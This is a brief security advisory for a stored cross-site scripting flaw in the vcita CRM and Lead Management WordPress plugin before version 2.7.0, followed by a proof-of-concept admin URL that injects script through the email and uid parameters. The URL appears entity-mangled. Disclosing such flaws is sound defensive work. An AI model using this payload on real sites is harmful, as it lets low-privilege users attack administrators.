CRM and Lead Management by vcita < 2.7.0 - Contributor+ Stored Cross-Site Scripting

The plugin does not sanitize and escape the email and uid parameters in the plugin settings before rendering it on the page, which could allow users with roles as low as contributor to inject arbitrary web scripts targeting high privilege users such as administrators.

PoC

https://example.com/wp-admin/admin.php?page=crm-customer-relationship-management-by-vcita/vcita-callback.php&amp;success;=true&amp;first;_name=a-a&amp;last;_name=b&amp;title;=c&amp;confirmation;_token=d&amp;confirmed;=true&amp;engage;_delay=1&amp;implementation;_key=1&amp;email;=a“/&gt;&amp;uid;=a”alert(2);